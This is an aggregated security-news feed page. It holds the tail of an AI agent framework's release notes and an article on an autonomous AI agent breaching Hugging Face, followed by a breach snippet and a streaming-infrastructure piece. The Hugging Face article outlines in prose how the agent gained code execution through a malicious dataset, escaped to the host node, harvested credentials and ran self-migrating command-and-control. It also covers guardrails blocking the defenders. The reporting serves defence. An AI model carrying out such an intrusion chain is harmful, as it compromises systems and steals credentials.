  • Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
  • Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
  • Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
  • mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
  • Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

  • Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
  • Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
  • Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
  • Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
  • Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
  • computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
  • Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
  • CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
  • Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
  • Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
  • Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

  • iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
  • dynamic-workflow orchestration skill (landed, then reverted) — not shipping
  • memory provider-actions extension point (landed, then reverted) — not shipping
  • Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

đŸ‘„ Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

  • @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
  • @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
  • @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
  • @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
  • @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
  • @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
  • @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
  • @austinpickett — desktop custom endpoint settings
  • @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

  • @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
  • @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
  • @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
  • @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
  • @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
  • @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
  • @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
  • @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
  • @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
  • @vishal-dharm — Gemini request-context improvements
  • @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
  • @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
  • Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

]]> <![CDATA[‘Spooky in Love’ Episode 2 Recap: Yeo-ri Reveals Her Secret]]> https://tsecurity.de/de/3681766/ios-mac-os/spooky-in-love-episode-2-recap-yeo-ri-reveals-her-secret/ https://tsecurity.de/de/3681766/ios-mac-os/spooky-in-love-episode-2-recap-yeo-ri-reveals-her-secret/ Mon, 20 Jul 2026 19:04:34 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Expanded Radio Art (emf2026)]]> https://tsecurity.de/de/3681660/it-security-video/expanded-radio-art-emf2026/ https://tsecurity.de/de/3681660/it-security-video/expanded-radio-art-emf2026/ Mon, 20 Jul 2026 18:53:15 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]> https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/ https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/ Mon, 20 Jul 2026 18:03:18 +0200 📰 IT Nachrichten tsecurity.de Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.

The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.

Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.

None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”

A malicious dataset opened two code-execution paths

On July 16, Hugging Face disclosed that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces.

Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.

The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.

Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion.

Why the defenders’ queries looked like attacks

Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.

First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.

Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”

The forensic analysis finished on GLM 5.2

GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.

What authenticated trust changes

The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”

“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”

Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”

AI-enabled attacks rose 89% year-over-year

Autonomous AI-driven attacks are not limited to AI platforms. CrowdStrike’s 2026 Global Threat Report documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.

Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.

AI Pipeline Breach Response Playbook

Control Domain

What Broke

Monday Action

Dataset admission controls

Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.

Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.

Worker-to-node privilege boundaries

Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.

Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.

Credential exposure

Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.

Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.

Machine-speed detection

Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.

Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.

Private AI forensic capacity

Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.

Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.

Autonomous-agent threat modeling

The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.

Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.

The board question is operational resilience

“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy.

She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.

“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued.

Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”

Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.

]]> <![CDATA[I loved this portable DIY 35mm film scanner with built-in light, and it could save me a lot of money — but it’s not as simple as it sounds]]> https://tsecurity.de/de/3681572/it-nachrichten/i-loved-this-portable-diy-35mm-film-scanner-with-built-in-light-and-it-could-save-me-a-lot-of-money-but-its-not-as-simple-as-it-sounds/ https://tsecurity.de/de/3681572/it-nachrichten/i-loved-this-portable-diy-35mm-film-scanner-with-built-in-light-and-it-could-save-me-a-lot-of-money-but-its-not-as-simple-as-it-sounds/ Mon, 20 Jul 2026 17:49:15 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Paidwork breach exposes sensitive data of 23 million user]]> https://tsecurity.de/de/3681487/it-security-nachrichten/paidwork-breach-exposes-sensitive-data-of-23-million-user/ https://tsecurity.de/de/3681487/it-security-nachrichten/paidwork-breach-exposes-sensitive-data-of-23-million-user/ Mon, 20 Jul 2026 17:08:27 +0200 📰 IT Security Nachrichten tsecurity.de Data belonging to more than 23 million users has been exposed following a breach at Paidwork, a platform that pays people for completing online microtasks. Paidwork markets itself as a way to earn money through simple tasks like watching ads, testing apps, and completing surveys, with most jobs paying only a few cents at a time. For its users, many of whom are drawn to the platform for small, incremental earnings, the fallout from this 
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The post Paidwork breach exposes sensitive data of 23 million user appeared first on Help Net Security.

]]> <![CDATA[Paidwork breach exposes sensitive data of 23 million user]]> https://tsecurity.de/de/3681483/it-security-nachrichten/paidwork-breach-exposes-sensitive-data-of-23-million-user/ https://tsecurity.de/de/3681483/it-security-nachrichten/paidwork-breach-exposes-sensitive-data-of-23-million-user/ Mon, 20 Jul 2026 17:08:21 +0200 📰 IT Security Nachrichten tsecurity.de Data belonging to more than 23 million users has been exposed following a breach at Paidwork, a platform that pays people for completing online microtasks. Paidwork markets itself as a way to earn money through simple tasks like watching ads,


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]]> <![CDATA[The technology behind every live sports moment]]> https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/ https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/ Mon, 20 Jul 2026 16:48:21 +0200 📰 IT Nachrichten tsecurity.de

When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.

They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.

They just feel the moment.

And that’s exactly how it’s supposed to work.

And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.

As audiences moved to digital platforms, the margin for error disappeared.

There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.

Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.

Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.

Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.

Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.

What these viewership numbers actually mean for infrastructure

The shift in how people watch live sport has moved well beyond trend territory.

EMARKETER forecasts that digital live sports audiences in the US will grow to 114.1 million viewers, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.

The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.

During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s CazĂ©TV repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and Telemundo’s digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. 

When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.

Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. 

Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.

Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.

To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.

According to an industry survey, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. 

The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.

Ultimately, the technical demand is driven by a shift in what viewers expect. An IBM sports study revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.

Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.

The planning mistake most organisations make

Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. 

The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic 2 to 25 times above normal levels within seconds. The infrastructure may be different, but the pressure is remarkably similar.

Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.

The problem isn’t the individual systems. It’s how they work together.

Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. 

A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.

Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew 19% in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.

The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.

Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.

Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.

The hidden chain behind every live event

When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.

A live event depends on dozens of systems working together, and any one of them can become a problem.

And the experience is only as good as the weakest handoff between them.

It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.

Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.

Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.

Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.

Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. 

AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.

Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. 

The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.

Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.

What reliability is actually worth

For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.

Neither of those things is true now.

A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.

